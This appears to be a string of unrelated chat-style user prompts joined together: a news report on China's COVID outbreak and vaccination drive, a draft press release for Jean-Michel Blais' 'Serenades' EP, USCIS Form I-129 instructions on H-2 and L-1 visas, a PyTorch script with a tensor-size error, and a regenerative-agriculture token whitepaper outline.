reliable as testing has dropped. It also stopped reporting asymptomatic figures on Wednesday. CONCERN FOR ELDERLY China, which has said around 90% of its population is vaccinated against COVID, has now decided to roll out the second booster shot for high-risk groups and elderly people over 60 years of age. National Health Commission spokesperson Mi Feng said on Wednesday it was necessary to accelerate the promotion of vaccinations, according to comments reported by state media. The latest official data shows China administered 1.43 million COVID shots on Tuesday, well above rates in November of around 100,000-200,000 doses a day. In total, it has administered 3.45 billion shots. Vaccinations in China have been ramping up in recent days. The latest official data shows it administered 1.43 million shots on Tuesday, well above rates in November of around 100,000 - 200,000 doses a day. Vaccinations in China have been ramping up in recent days. The latest official data shows it administered 1.43 million shots on Tuesday, well above rates in November of around 100,000 - 200,000 doses a day. But one Shanghai care home said on Wednesday a number of its residents have not yet been vaccinated and considering their underlying medical condition, it has barred visitors and non-essential deliveries while stockpiling medicines, tests kits and protective gear. "We are racking our brains on how to ensure the safety of your grandparents," the Yuepu Tianyi Nursing Home wrote in a letter posted on its official WeChat account page. Beijing has been largely resistant to western vaccines and treatments, having relied on locally-made shots. Pfizer\'s (PFE.N) oral COVID-19 treatment Paxlovid is one of the few foreign ones it has approved. The treatment, however, has only been available in hospitals for high-risk patients, but signs have appeared in recent days that it may soon be made more widely available. China Meheco Group Co Ltd\'s stock jumped (600056.SS) after it announced a deal to import the U.S. drugmaker\'s treatment on Wednesday. ECONOMIC CONFERENCE As the virus spreads, President Xi, his ruling Politburo and senior government officials began a two-day meeting to plot a recovery for China\'s battered economy, according to sources with knowledge of the matter. China\'s economy lost more steam in November as factory output growth slowed and retail sales extended declines, both missing forecasts and clocking their worst readings since May, data on Thursday showed. Economists estimate that China\'s growth has slowed to around 3% this year, marking one of China\'s worst performances in almost half a century." From the article above, I find the following sentences most interesting: 1. "Upward of 1 million people could die from COVID in the coming months." 2. "Other experts have put the potential toll at more than 2 million." 3. "China administered 1.43 million COVID shots on Tuesday, well above rates in November of around 100,000-200,000 doses a day. In total, it has administered 3.45 billion shots."' +'Pleae read the below and say "ok"\n\nHi I have a draft press for Jean-Michel Blais\' new album here: \n\n\\*\\*UNDER EMBARGO UNTIL XX\\*\\*\nMERCURY KX ANNOUNCES JEAN-MICHEL BLAIS\' NEW EP "SERENADES"\nMontreal-based post-classical pianist and composer Jean-Michel Blais is pleased to announce his new EP “Serenades”, out March 10th on Mercury KX. The EP is the solo piano companion to Blais’ highly successful and loved album “Aubades”, released this past February.\n“Serenades” is the nocturnal companion to the brightness of “Aubades”, and features intimate and atmospheric solo piano versions of key tracks from the album, including “Amour”, “Ouessant”, and “Murmures”. It also features three new tracks: “117 (Bach)”, “La Chute”, and “Morning (Improv)”. “La Chute” (“The Fall”) was especially composed for the left hand, due to a right arm injury Blais suffered after falling on ice before a performance. This inspired him to write this piece particularly for the left hand. The first single “Ouessant” (Piano) is a melancholic slow wander through luminous and soothing solo piano soundscapes.\n“Serenades” is a testament to Blais’ musical prowess and ability to create captivating and moving musical landscapes. It’s sure to be a stunning addition to Blais’ already impressive discography.\n\n---\n\nI have written it based on the following information:\n\nJEAN-MICHEL BLAIS DECCA BIO:\nJean-Michel Blais - Biography\n \nJean-Michel Blais is a post-classical pianist and composer living in Montreal, Canada.\n \nBlais grew up in a rural French Catholic town in Quebec and began tinkering on his family\'s organ at age 9. By 11, he began writing original compositions and taking piano lessons. A natural talent, by 17 he was invited to the Trois-Rivieres Music Conservatory and began training as a classical pianist. The constraints of formal training began to wear on Blais who started to gravitate towards experimentation and improvisation. He eventually left the school and put aside his musical path.\n \nIn his mid-20s, Blais traveled to Europe and Latin America, studied special education, liberal arts and psychology, while moving to Berlin for about a year and six months in Buenos Aires, before settling in Montreal where he rediscovered his love for composing and performing, which caught the ear of Toronto-based indie label Arts & Crafts.\n \nBlais’ debut album, Il, was written and recorded in his apartment over two years of daily improvisations. It was released on April 8, 2016, and amassed over 50 million streams worldwide, reaching #1 on Billboard’s Classical chart in Canada 14 times, earning a Polaris Music Prize long list nomination and a spot on Time Magazine’s Top ten albums of 2016.\n \nThe following year, Blais performed at the prestigious Red Bull Music Academy in collaboration with Grammy-nominated producer CFCF. This spurred a partnership between the two musicians that yielded Cascades, a collaborative EP released on March 15, 2017. The release earned praises for its brave interplay between piano and electronics, including by the likes of Pitchfork and BBC Radio 6.\n \nAfter a year of touring North America and Europe, Blais began working on his sophomore album, Dans ma main. Released on May 11, 2018. Jean-Michel Blais’ Dans ma main is an expansive album of post-classical piano music with strands of electronic detail. Recorded at night in a Steinway & Sons piano shop, Blais blends his classical skill and precise pop sensibility with synthetic accompaniment, which creates unique environments where the piano’s intimacy can be subtly disrupted at any time. Dans ma main earned a Polaris Music Prize short list nomination.\n \nFascinated with the cathartic response of worldwide audiences to his pin-drop performances, Blais considers how music has served as a tool of wellness in his own life: from his early career in special education, to his parents’ use of ambient music to soothe the Tourettic symptoms he’s been suffering from since childhood. On Dans ma main, Jean-Michel calls upon these periods of his life, reimagining a serenity that he previously found only seated at a piano.\n \nIn the spring of 2018, when asked by his landlord to leave his beloved apartment where he recorded his debut album Il, Blais invited friends and family in his bedroom to take part into an intimate series of home concert and recording sessions, which gave birth to his sophomore EP, Eviction sessions, released on Novembre 18, 2018.\n---\nTIMELINE FOR “SERENADES”:\n(8 July - amour (piano) - out already)\n18 Nov: ouessant (piano) - Single 2 (no EP announcement)\n20-29 Jan: Concerts in Toronto, NYC & Quebec - should EP be announced by the 20th?\n3 Feb: EP announcement & la chute (Single 3)\n10 Mar: serenades EP release + yanni (piano) - focus track\n---\n \n \nTRACKLIST FOR “SERENADES”:\n117 (bach)\namour (piano)\nla chute\nmorning (improv)\nflâneur (piano)\nyanni (piano)\nouessant (piano)\nmurmures (piano)\n---\n \n---\n \n---\nJEAN-MICHEL BLAIS PREVIOUS ALBUM “aubades”:\naubades, the new album from post-classical piano icon Jean-Michel Blais, marks the Montreal-born musician’s transition from pianist to composer, as he writes for an ensemble for the first time in his career. Written during the pandemic and following a breakup, Blais has used his distinctive musical voice to create a defiantly uplifting record with glistening instrumental textures and warm major tonalities. The album’s title refers to the “aubade”, a Middle Ages morning love song about lovers separating at daybreak, a dawn serenade.\n \nDespite the difficult global and personal backdrop, Blais described the time writing this album as a “fruitful moment of creativity for me. We started having hares in the park, beautiful butterflies flying everywhere. It was a time of lots of blossoming, and also a moment when I blossomed from being a pianist into a composer.” Musical ideas captured in over 500 recorded piano improvisations were transformed by Blais into 11 compositions performed by a 12-person ensemble. During the composition process, Blais collaborated with Alex Weston, former music assistant to Philip Glass. The musicians were recorded with close-up microphones, creating a richly intimate atmosphere that captures the human behind each instrument, from the mechanics of the woodwind keys to the snap of a double bass string.\n---\nBACKGROUND ARTICLE (ON CLASSIC FM SITE) ON THE HISTORY OF PIECES FOR LEFT HAND PIANO\n \nThe best classical music for piano left hand\n12 August 2014, 12:56 | Updated: 6 January 2017, 14:45\n \nFacebook share Twitter share\nIn celebration of International Left Handers Day, we\'re investigating the top ten pieces of piano music composed specifically for the left hand, as chosen by one-handed piano virtuoso, Nicholas McCarthy.\n \n1. Prelude and Nocturne Op. 9 - Scriabin\n \nAfter injuring his right hand learning some of Liszt\'s more challenging music, Scriabin was forced to re-evaluate his priorities and change the way he composed, shifting the emphasis onto his uninjured left hand. Much of the music he went on to write sounds fiendishly difficult, making the most of the capabilities of his only working hand - but he also composed two pieces for left hand only. After much soul-searching, the result is this, one of Scriabin\'s most beautiful and introspective pieces.\n \n \n \n \n \n2. Piano Concerto for the Left Hand - Ravel\n \nEven before this piece was premiered in 1932, pianist Alfred Cortot had made an arrangement for piano two-hands and orchestra. But Ravel, who wrote the music especially for Austrian pianist Paul Wittgenstein after he lost his arm in the war, forbade the performance of the new arrangement. It\'s not a wonder he was frustrated: before writing the work, he studied Saint-Saëns\' left hand études religiously, absorbing as many of his techniques as possible.\n \n \n \n \n3. Chaconne in D minor - Bach/Brahms\n \nADVERTISING\n \nThere\'s nothing like getting stuck in to some truly meaty Bach keyboard music. So, imagine Clara Schumann\'s frustration when she injured her right hand and could no longer play the music she knew and loved. Luckily, Brahms came to the rescue with this ingenious arrangement of his hypnotic Chaconne in D minor. It may only be played with one hand, but Brahms manages to bring out every one of Bach\'s original voices. Genius.\n \n \n \n \n4. Etude Op. 25 No. 12 \'Ocean\' - Chopin arr. Godowsky\n \nThey\'re known as the most difficult piano pieces in the left-hand repertoire, and after listening to these waves upon waves of notes, it\'s easy to see why. Chopin\'s études - challenging enough at the best of times - have been transformed by Polish composer Godowsky into a series of incredible studies and mind-bending technical exercises, including transferring the technically difficult passages between hands, interweaving separate études to form one individual piece, and transcribing this entire étude for left hand solo.\n \n \n \n5. Three Improvisations - Bridge\n \nEerie and beautiful, these \'improvisations\' by English composer Frank Bridge were written for his friend Douglas Fox, who lost his arm during the First World War. With sparing use of the piano pedals, the heavy bass chords ring out as the left hand glides over the piano\'s upper register.\n \n \n \n \n6. Piano Concerto for Left Hand - Korngold\n \nThe man behind Ravel\'s piano concerto for left hand, Paul Wittgenstein, is really the man to thank when it comes to commissioning music for the left hand. He approached Richard Strauss, Prokofiev, and Hindemith - but it\'s Korngold who stole the show. Wittgenstein was so happy with this work that he commissioned another piece, a suite for 2 violins, cello and piano left-hand, Op. 23.\n \n \n \n \n7. Diversions - Britten\n \nLooking at the score, it\'s hard to believe this explosive piece is written for just one hand. With its cascading quavers and impressive passages jumping across the entire length of the piano, this is the ultimate in left hand piano fireworks - and once again, we have Paul Wittgenstein to thank for its existence.\n \n \n \n \n8. Piano Sonata in C Minor - Reinecke\n \nWhile Reinecke may not be the most high-profile of composers, his Opus 179 sonata has made its mark on the world of left hand piano music. There\'s a reason for that: give this a listen for a healthy dose of bombastic, Romantic piano music.\n \n \n \n9. Six études for the left hand - Saint-Saëns\n \nDespite their sheer brilliance, Saint-Saëns\' piano études are often overlooked. Every movement requires absolute independence for each individual finger, regardless of hand shape or strength. It\'s these pieces Ravel studied so diligently when embarking on his left hand piano concerto, and it\'s easy to see why.\n \n \n \n10. 4 Special Studies - Reger\n \nGerman composer Max Reger brings grace and personality to these cheery piano works, making even the most simple techniques sound impressive. Watch how the left hand trips over the piano with ease, bringing out individual parts across the entire range of the piano.\n---\nKEY INFO ON THE NEW ALBUM:\n \nKEY INFO\n \nnew single ouessant (piano) is a melancholic slow wander through luminous and soothing solo piano soundscapes\nannouncing 10 Jan: sérénades is the solo piano companion EP to the highly-successful and loved album aubades (album of vibrant, sweeping works for chamber ensemble released this past February 2022)\nsérénades is the nocturnal companion to the brightness of aubades\ninspired by Franz Liszt’s solo piano reductions\nfeatures intimate & atmospheric solo piano versions of key tracks from aubades - amour, ouessant, murmures\nfeatures three new tracks - 117 (bach), la chute, morning (improv)\nla chute (‘the fall’) - composed for the left hand due to a right arm injury after falling on ice before a performance; this inspired him to write this piece particularly for left hand\ninfluencer duet campaign to follow for la chute - inviting people to provide their right-hand duet with Jean-Michel\n--' +'Additional Information Regarding H-2A and H-2B Petitions\nNaming Beneficiaries\nGenerally, you may request unnamed workers as beneficiaries of an H-2A or H-2B petition. You may also request some\nnamed and some unnamed workers, as long as you are requesting the same action for each worker. However, the total\nnumber of workers you request on the petition must not exceed the number of workers approved by the Department of\nLabor or Guam Department of Labor, if required, on the temporary labor certification.\nWorkers must be named if you request workers who:\n1. Are currently in the United States;\n2. Are nationals of countries that are not on the eligible countries list (see link and information below); or\n3. Must meet minimum job requirements described on the temporary labor certification.\nEligible Countries List\nH-2A and H-2B petitions may generally only be approved for nationals of countries that the Secretary of Homeland\nSecurity has designated, with the concurrence of the Secretary of State, as eligible to participate in the H-2 program. The\ncurrent list of eligible countries is located at www.uscis.gov/h-2a and www.uscis.gov/h-2b.\nNationals of countries that are not eligible to participate in the H-2 program may still be named as beneficiaries on an\nH-2A or H-2B petition. To do so, you must:\n1. Name each beneficiary who is not from an eligible country; and\n2. Provide evidence to show that it is in the U.S. interest for the alien to be the beneficiary of such a petition.\nUSCIS’ determination of what constitutes U.S. interest takes into account certain factors, including but not limited to:\n1. Evidence demonstrating that a worker with the required skills is not available from among foreign workers from a\ncountry currently on the eligible countries list;\nNOTE: Also, for H-2A petitions only, the petitioner must submit evidence demonstrating that a U.S. worker with the\nrequired skills is not available.\n2. Evidence that the beneficiary has been admitted to the United States previously in H-2A or H-2B status;\n3. The potential for abuse, fraud, or other harm to the integrity of the H-2A or H-2B visa program through the potential\nadmission of a beneficiary from a country not currently on the eligible countries list; and\n4. Such other factors as may serve the U.S. interest.\nProhibited Fees\nAs a condition of approval of an H-2A or H-2B petition, no job placement fee or other compensation (either direct or\nindirect) may be collected at any time from a beneficiary of an H-2A or H-2B petition. This includes collection by a\npetitioner, agent, facilitator, recruiter, or similar employment service, as a condition of employment, whether before or\nafter the filing or approval of a petition. Unless the payment of such fees by a worker is prohibited under law, the only\nexceptions to this are:\n1. The lower of the actual cost or fair market value of transportation to the offered employment; and\n2. Any government-mandated passport, visa, or inspection fees.\nIf USCIS determines any of the following have occurred, the petition will be denied or revoked. The only exceptions to a\nmandatory denial or revocation are found at 8 CFR 214.2(h)(5)(xi)(A)(4) and 8 CFR 214.2(h)(6)(i)(B)(4):\n1. You collected, or entered into an agreement to collect, prohibited fees as described above;\n2. You knew, or should have known, at the time of filing the petition that the beneficiary paid, or agreed to pay, any\nagent, facilitator, recruiter, or similar employment service as a condition of employment;\n3. The beneficiary paid you prohibited fees or compensation as a condition of employment after the petition was filed; or\n4. You knew, or had reason to know, that the beneficiary paid, or agreed to pay, the agent, facilitator, recruiter, or similar\nemployment service prohibited fees after the petition was filed.\nForm I-129 Instructions 11/02/22 Page 15 of 30\nThe petition should be filed with evidence that indicates the beneficiaries have not paid, and will not pay, prohibited fees\nto the best of your knowledge.\nInterrupted Stays\nInterrupted stays are certain periods of time that a worker spends outside the United States during an authorized period\nof stay in H-2A or H-2B status. An interrupted stay does not count toward the worker’s maximum 3-year limit in the\nclassification.\nAn H-2A or H-2B worker may qualify for an interrupted stay under the following conditions:\nIf the worker was in the United States in H-2 status\nfor an aggregate period of:\nThen H-2 time is interrupted if he or she is outside\nthe United States for:\n18 months or less At least 45 days, but less than 3 months\nMore than 18 months, but less than 3 years At least 2 months\nTime in H-2A or H-2B status is not automatically interrupted if the worker departs the United States. It is considered\ninterrupted only if the guidelines in the above chart are met. For more on interrupted stays, see www.uscis.gov.\nNotification Requirements\nBy filing an H-2A or H-2B petition, you agree to notify USCIS within 2 work days if an H-2A or H-2B worker:\n1. Fails to report to work within 5 workdays after the employment start date stated on the petition or within 5 workdays\nafter the start date as established by the H-2A employer, whichever is later;\n2. Completes the labor or services more than 30 days earlier than the employment end date stated on the petition;\n3. Absconds from the worksite; or\n4. Is terminated prior to the completion of the services or labor.\nFailure to comply with this agreement may result in penalties. See www.uscis.gov for more information.\nFiling Multiple Petitions\nYou generally may file one petition to request all of your H-2A or H-2B workers associated with one temporary labor\ncertification. In cases where filing a separate petition is not required, it may be advantageous to file more than one H-2A\nor H-2B petition instead. This can occur when you petition for multiple workers, some of whom may not qualify for part\nor all of the validity period you request. This most frequently occurs when:\n1. Some of the workers you request are not nationals of a country on the eligible countries list;\n2. You request interrupted stays for workers; or\n3. At least one worker is nearing the 3-year maximum stay limit.\nIf we request additional evidence because of these situations, it may delay petition processing. Filing separate petitions\nfor workers who are not affected by these scenarios may enable you to quickly obtain some workers, if they are otherwise\neligible, in the event that the petition for your other workers is delayed.\nIf you decide to file more than one petition with the same temporary labor certification, you may do so if:\n1. One petition is accompanied by the original temporary labor certification;\n2. The total number of beneficiaries on your petitions does not exceed the total number of workers approved by the U.S.\nDepartment of Labor on the temporary labor certification; and\n3. The other petitions are accompanied by copies of the same temporary labor certification, along with an attachment\nexplaining why the original was not submitted.\nH-3 Nonimmigrants (Two Types)\nThe H-3 classification is for aliens coming to the United States temporarily to participate in a special education\nexchange visitor program in the education of children with physical, mental, or emotional disabilities.\nForm I-129 Instructions 11/02/22 Page 16 of 30\nWrite H-3 in the classification block.\nAny custodial care of the children must be incidental to the training program. The petition must be filed by a U.S.\nemployer, which must be a facility which has professionally trained staff and a structured program for providing education\nto children with disabilities and training and hands-on experience to participants in the special education exchange visitor\nprogram. The petition must be filed with:\n1. A description of the training, staff, and facilities; evidence that the program meets the above conditions; and details of\nthe beneficiary’s participation in the program; and\n2. Evidence showing that the beneficiary is nearing completion of a baccalaureate degree in special education, or already\nholds such a degree, or has extensive prior training and experience in teaching children with physical, mental, or\nemotional disabilities.\nThe H-3 classification is also for aliens coming to the United States temporarily to receive training from an\nemployer in any field other than graduate medical education or training.\nWrite H-3 in the classification block.\nThe petition must be filed with:\n1. A detailed description of the structured training program, including the number of classroom hours per week and the\nnumber of hours of on-the-job training per week;\n2. A summary of the prior training and experience of each beneficiary in the petition; and\n3. An explanation stating why the training is required, whether similar training is available in the beneficiary’s country,\nhow the training will benefit the beneficiary in pursuing a career abroad, the source of any remuneration the trainee\nwill receive and any benefit the petitioner will obtain by providing the training.\nL-1 Nonimmigrants (Two Types)\nThe L-1A classification is for aliens coming to the United States temporarily to perform services in a managerial\nor executive capacity for the same employer (or for the parent, branch, subsidiary, or affiliate of the employer) that\nemployed the alien abroad in a capacity that was managerial or executive in nature, or one that required specialized\nknowledge, for at least 1 continuous year within the last 3 years. In the case of an L-1A beneficiary who is coming to\nthe United States to set up a new office, the 1 year of experience abroad must have been in an executive or managerial\ncapacity.\nWrite L-1A in the classification block.\nEither a U.S. employer or foreign employer may file the petition, but the foreign employer must have a legal business\nentity in the United States.\nThe L-1B classification is for aliens coming to the United States temporarily to perform services that require\nspecialized knowledge for the same employer (or for the parent, branch, subsidiary, or affiliate of the employer) that\nemployed the alien abroad in a capacity that was managerial or executive in nature, or one that required specialized\nknowledge for at least 1 continuous year within the last 3 years.\\*\\*\\* Specialized knowledge is either: (a) special\nknowledge of the petitioning employer’s product, service research, equipment, techniques, management, or other\ninterests and its application in international markets or (b) an advanced level of knowledge or expertise in the employing\norganization’s processes or procedures.\n\\*\\*\\* In the case of blanket petitions, the L-1B must be a specialized knowledge professional. There is no requirement,\nhowever, that the person have acted in a “professional capacity” while abroad for purposes of meeting the one-year\nrequirement.\nWrite L-1B in the classification block.\nGeneral L Classification Requirements\nEither a U.S. or foreign employer may file the petition.\nThe petition must be filed with: 1. Evidence establishing the existence of the qualifying relationship between the U.S. and foreign employer based on\nownership and control, such as: an annual report, articles of incorporation, financial statements, or copies of stock\ncertificates. Note: Whether such evidence will be sufficient to meet the petitioner’s burden of establishing such a\nqualifying relationship will depend on the quality and probative value of the evidence submitted.\n2. Evidence of the beneficiary’s employment for the required one year abroad in, as applicable, a managerial, executive,\nor specialized knowledge capacity. Such evidence may include, but is not limited to, a letter from the beneficiary’s\nforeign qualifying employer detailing his or her dates of employment, job duties, and qualifications, along with\nsupporting documentary evidence; and\n3. A description of the proposed job duties and qualifications, and evidence showing that the proposed employment is in\nan executive, managerial, or specialized knowledge capacity.' +'import torch\nimport torch.nn as nn\nimport torch.optim as optim\nfrom torch.utils.data import Dataset, DataLoader\nfrom sklearn.metrics import f1\\_score\nfrom tqdm import tqdm\nimport transformers\n\n# Define the MLP model\nclass MLP(nn.Module):\n def \\_\\_init\\_\\_(self, input\\_dim, hidden\\_dim, output\\_dim):\n super(MLP, self).\\_\\_init\\_\\_()\n self.fc1 = nn.Linear(input\\_dim, hidden\\_dim)\n self.fc2 = nn.Linear(hidden\\_dim, output\\_dim)\n \n def forward(self, x):\n x = torch.relu(self.fc1(x))\n x = self.fc2(x)\n return x\n\n# Define the custom dataset\nclass NewsDataset(Dataset):\n def \\_\\_init\\_\\_(self, csv\\_file, tokenizer):\n self.data = pd.read\\_csv(csv\\_file)\n self.tokenizer = tokenizer\n \n def \\_\\_len\\_\\_(self):\n return len(self.data)\n \n def \\_\\_getitem\\_\\_(self, idx):\n text = self.data.iloc[idx][\'text\']\n label = self.data.iloc[idx][\'label\']\n text\\_tensor = torch.tensor(self.tokenizer.encode(text)).long()\n label\\_tensor = torch.tensor(label).long()\n return text\\_tensor, label\\_tensor\n# Define the training function\ndef train(model, device, train\\_loader, optimizer, criterion):\n model.train()\n running\\_loss = 0.0\n for batch\\_idx, (data, target) in enumerate(train\\_loader):\n data, target = data.to(device), target.to(device)\n optimizer.zero\\_grad()\n output = model(data)\n loss = criterion(output, target)\n loss.backward()\n optimizer.step()\n running\\_loss += loss.item()\n train\\_loss = running\\_loss / len(train\\_loader)\n return train\\_loss\n# Define the evaluation function\ndef evaluate(model, device, test\\_loader):\n model.eval()\n y\\_true, y\\_pred = [], []\n with torch.no\\_grad():\n for data, target in test\\_loader:\n data, target = data.to(device), target.to(device)\n output = model(data)\n pred = output.argmax(dim=1)\n y\\_true.extend(target.cpu().numpy())\n y\\_pred.extend(pred.cpu().numpy())\n f1 = f1\\_score(y\\_true, y\\_pred, average=\'macro\')\n return f1\n# Set the device\ndevice = torch.device(\'cuda:0\' if torch.cuda.is\\_available() else \'cpu\')\n\n# Set the hyperparameters\ninput\\_dim = 300 # word embedding size\nhidden\\_dim = 128\noutput\\_dim = 8 # number of labels\nlr = 0.001\nnum\\_epochs = 10\n\n# Load the data\ntokenizer = transformers.RobertaTokenizer.from\\_pretrained(\'roberta-base\', max\\_length=512)\ntrain\\_dataset = NewsDataset(\'train.csv\', tokenizer)\ntest\\_dataset = NewsDataset(\'test.csv\', tokenizer)\ntrain\\_loader = DataLoader(train\\_dataset, batch\\_size=32, shuffle=True)\ntest\\_loader = DataLoader(test\\_dataset, batch\\_size=32, shuffle=False)\n\n# Initialize the model, criterion, and optimizer\nmodel = MLP(input\\_dim, hidden\\_dim, output\\_dim).to(device)\ncriterion = nn.CrossEntropyLoss()\noptimizer = optim.Adam(model.parameters(), lr=lr)\n\n# Train the model\nfor epoch in range(num\\_epochs):\n train\\_loss = train(model, device, train\\_loader, optimizer, criterion)\n f1 = evaluate(model, device, test\\_loader)\n print(\'Epoch: {} | Train loss: {:.4f} | F1 score: {:.4f}\'.format(epoch+1, train\\_loss, f1))\n\nToken indices sequence length is longer than the specified maximum sequence length for this model (574 > 512). Running this sequence through the model will result in indexing errors\n---------------------------------------------------------------------------\nRuntimeError Traceback (most recent call last)\nInput In [35], in ()\n 93 # Train the model\n 94 for epoch in range(num\\_epochs):\n---> 95 train\\_loss = train(model, device, train\\_loader, optimizer, criterion)\n 96 f1 = evaluate(model, device, test\\_loader)\n 97 print(\'Epoch: {} | Train loss: {:.4f} | F1 score: {:.4f}\'.format(epoch+1, train\\_loss, f1))\n\nInput In [35], in train(model, device, train\\_loader, optimizer, criterion)\n 40 model.train()\n 41 running\\_loss = 0.0\n---> 42 for batch\\_idx, (data, target) in enumerate(train\\_loader):\n 43 data, target = data.to(device), target.to(device)\n 44 optimizer.zero\\_grad()\n\nFile C:\\anaconda\\lib\\site-packages\\torch\\utils\\data\\dataloader.py:628, in \\_BaseDataLoaderIter.\\_\\_next\\_\\_(self)\n 625 if self.\\_sampler\\_iter is None:\n 626 # TODO(https://github.com/pytorch/pytorch/issues/76750)\n 627 self.\\_reset() # type: ignore[call-arg]\n--> 628 data = self.\\_next\\_data()\n 629 self.\\_num\\_yielded += 1\n 630 if self.\\_dataset\\_kind == \\_DatasetKind.Iterable and \\\n 631 self.\\_IterableDataset\\_len\\_called is not None and \\\n 632 self.\\_num\\_yielded > self.\\_IterableDataset\\_len\\_called:\n\nFile C:\\anaconda\\lib\\site-packages\\torch\\utils\\data\\dataloader.py:671, in \\_SingleProcessDataLoaderIter.\\_next\\_data(self)\n 669 def \\_next\\_data(self):\n 670 index = self.\\_next\\_index() # may raise StopIteration\n--> 671 data = self.\\_dataset\\_fetcher.fetch(index) # may raise StopIteration\n 672 if self.\\_pin\\_memory:\n 673 data = \\_utils.pin\\_memory.pin\\_memory(data, self.\\_pin\\_memory\\_device)\n\nFile C:\\anaconda\\lib\\site-packages\\torch\\utils\\data\\\\_utils\\fetch.py:61, in \\_MapDatasetFetcher.fetch(self, possibly\\_batched\\_index)\n 59 else:\n 60 data = self.dataset[possibly\\_batched\\_index]\n---> 61 return self.collate\\_fn(data)\n\nFile C:\\anaconda\\lib\\site-packages\\torch\\utils\\data\\\\_utils\\collate.py:265, in default\\_collate(batch)\n 204 def default\\_collate(batch):\n 205 r"""\n 206 Function that takes in a batch of data and puts the elements within the batch\n 207 into a tensor with an additional outer dimension - batch size. The exact output type can be\n (...)\n 263 >>> default\\_collate(batch) # Handle `CustomType` automatically\n 264 """\n--> 265 return collate(batch, collate\\_fn\\_map=default\\_collate\\_fn\\_map)\n\nFile C:\\anaconda\\lib\\site-packages\\torch\\utils\\data\\\\_utils\\collate.py:143, in collate(batch, collate\\_fn\\_map)\n 140 transposed = list(zip(\\*batch)) # It may be accessed twice, so we use a list.\n 142 if isinstance(elem, tuple):\n--> 143 return [collate(samples, collate\\_fn\\_map=collate\\_fn\\_map) for samples in transposed] # Backwards compatibility.\n 144 else:\n 145 try:\n\nFile C:\\anaconda\\lib\\site-packages\\torch\\utils\\data\\\\_utils\\collate.py:143, in (.0)\n 140 transposed = list(zip(\\*batch)) # It may be accessed twice, so we use a list.\n 142 if isinstance(elem, tuple):\n--> 143 return [collate(samples, collate\\_fn\\_map=collate\\_fn\\_map) for samples in transposed] # Backwards compatibility.\n 144 else:\n 145 try:\n\nFile C:\\anaconda\\lib\\site-packages\\torch\\utils\\data\\\\_utils\\collate.py:120, in collate(batch, collate\\_fn\\_map)\n 118 if collate\\_fn\\_map is not None:\n 119 if elem\\_type in collate\\_fn\\_map:\n--> 120 return collate\\_fn\\_map[elem\\_type](batch, collate\\_fn\\_map=collate\\_fn\\_map)\n 122 for collate\\_type in collate\\_fn\\_map:\n 123 if isinstance(elem, collate\\_type):\n\nFile C:\\anaconda\\lib\\site-packages\\torch\\utils\\data\\\\_utils\\collate.py:163, in collate\\_tensor\\_fn(batch, collate\\_fn\\_map)\n 161 storage = elem.storage().\\_new\\_shared(numel, device=elem.device)\n 162 out = elem.new(storage).resize\\_(len(batch), \\*list(elem.size()))\n--> 163 return torch.stack(batch, 0, out=out)\n\nRuntimeError: stack expects each tensor to be equal size, but got [52] at entry 0 and [347] at entry 1\n\n해당 오류가 발생해서 끝을 자르는걸로 코드를 수정해서 전체 코드를 작성해줘\n\nPlease write in English language.' +"iam going to give you information, and take it in, and then ill let you know when i want to develop documents; able of Contents:\n\nIntroduction\n\nBackground\n\nContext: An overview of the current state of the agrifood industry and the challenges it faces.\n\nThe deep Problem\n\nExternalization\n\nMoney\n\nEconomic cost of degeneration\n\nThe Solution - internalization of costs\n\nThe Opportunity\n\nThe Fresh Earth Ecosystem\n\nOverview: \n\nComponents of the ecosystem: \n\n Tokenomics\n\nToken name and symbol (FET)\n\nToken Overview\n\nToken structure \n\nToken classification\n\nIncentive enablers\n\nIncentive drivers\n\nUse case\n\nGovernance\n\nTechnical Requirements\n\nToken Supply and distribution\n\nLimits to Total Token Supply\n\nToken limits by country\n\nToken creation\n\nSupply strategy\n\nAlignment of incentives between creation and regeneration\n\nMatching demand and supply \n\nToken distribution\n\nToken economics\n\nOverview\n\nValuation Logic of the Fresh Earth Token\n\nToken economics: How the token value is generated and how it changes over time\n\nMonetizing the token: Economic models funding opportunities in various markets\n\nRelationship between consumer purchases and hectares of land regenerated\n\nPotential for carbon storage, biodiversity, water retention, and increased food quality through regenerative practice\n\nEconomic incentives for farmers to adopt regenerative practices\n\nImpact of the Fresh Earth Token on the regenerative food market and its projected growth\n\nAnalysis of the value of the token and how it is determined and changes over time.\n\nTeam\n\nOverview: An explanation of the partnerships and collaborations that will be established to support the development and growth of the ecosystem.\n\nIndustry partnerships: A list of key industry partners that will be working with the ecosystem.\n\nCommunity partnerships: A list of key community partners that will be working with the ecosystem.\n\nPartnerships and Collaborations \n\nRoadmap\n\nOverview: A high-level roadmap for the development of the ecosystem, including any major milestones or key dates.\n\nLong-term vision: A description of the long-term vision for the ecosystem and its potential impact on the agrifood industry.\n\nLegal\n\nAlso here or in Tokenomics Token security and Auditing ?\n\nToken wallet and exchange listing ?\n\nConclusion\n\nReferences\n\nA list of relevant research papers, articles, and other resources that were used in the development of the whitepaper.\n\nElevator Pitch\nFresh Earth is revolutionizing the $13.4 trillion (2023, Agriculture Market Size, Trends and Global Forecast To 2032) agri-food market by creating a global, community-based food system that empowers people to take control of their health, food quality, and food sources. Our ecosystem includes a B2B marketplace that connects regenerative farmers with businesses, a B2C marketplace that encourages innovation and collaboration among stakeholders, a Project Management Platform, and a Data Managment Platform that uses data to measure and validate the impact of regenerative practices. Our Fresh Earth Token represents fractional ownership of the ecosystem and is valued based on the assets of the ecosystem and the impact of regenerative projects. This creates a positive feedback loop where the success of the ecosystem drives more investment, leading to more impact and greater value for the token holders. Join us in our mission to create a regenerative food system that benefits \n\nExecutive Summary\nThe Fresh Earth ecosystem is a revolutionary solution for transforming the agri-food industry and addressing the pressing issues of climate change, health, and food security. At the core of the ecosystem is the Fresh Earth Token, a decentralized autonomous organization (DAO) that manages the food ecosystem business. The token represents fractional ownership of the ecosystem, and is valued based on both the value of the ecosystem's assets and the future impact of regenerative projects on the environment and society. The Fresh Earth ecosystem is designed to incentivize participation and engagement through a variety of different Incentive Drivers and includes a B2B and B2C marketplace, a Project Management Platform, a Data Managment Platform, and a Rewards System. The ecosystem aims to provide a comprehensive, community-based food system that empowers individuals and businesses to take control of their food sources and improve the quality and nutritional density of the food they consume, while also promoting sustainable practices and addressing the pressing issues of climate change, health, and food security.\n\n1. Introduction\nThe world is currently facing a number of pressing interlinking issues including climate change, health, and food security. The Fresh Earth ecosystem aims to address these issues by promoting regenerative agriculture practices and creating a comprehensive, community-based food system that empowers individuals and businesses to take control of their food sources and improve the quality and nutritional density of the food they consume, while regenerating the environment. \n\nTo write when 